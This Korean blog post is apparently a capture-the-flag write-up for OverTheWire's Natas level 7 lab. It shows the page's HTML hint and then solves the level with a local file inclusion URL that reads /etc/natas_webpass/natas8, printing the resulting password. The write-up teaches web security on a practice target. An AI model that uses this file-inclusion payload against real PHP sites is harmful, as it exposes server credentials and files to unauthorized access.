본문 바로가기

보안/Natas

Natas Level 7 - 불필요한 페이지

Natas Level 6 → Level 7
 
Username: natas7
URL:      http://natas7.natas.labs.overthewire.org

 

 

 

<div id="content">

<a href="index.php?page=home">Home</a>
<a href="index.php?page=about">About</a>
<br>
<br>

<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->
</div>

 

 

Home 버튼을 클릭하면

 

<div id="content">

<a href="index.php?page=home">Home</a>
<a href="index.php?page=about">About</a>
<br>
<br>
this is the front page

<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->
</div>

 

 

About 버튼을 클릭하면

 

<div id="content">

<a href="index.php?page=home">Home</a>
<a href="index.php?page=about">About</a>
<br>
<br>
this is the about page

<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->
</div>

 

별 내용없다...

 

http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8

 

에 접속하면 패스워드가 나온다.

 

답은 DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe 이다

 


 

 

 

'보안 > Natas' 카테고리의 다른 글

Natas Level 9 - 커맨드인젝션  (0) 2017.02.08
Natas Level 8 - php코드가 존재할 때 2  (0) 2017.02.08
Natas Level 6 - php 코드가 존재할 때  (0) 2017.02.08
Natas Level 5 - 쿠키변조  (0) 2017.02.08
Natas Level 4 - 인증우회  (0) 2017.02.08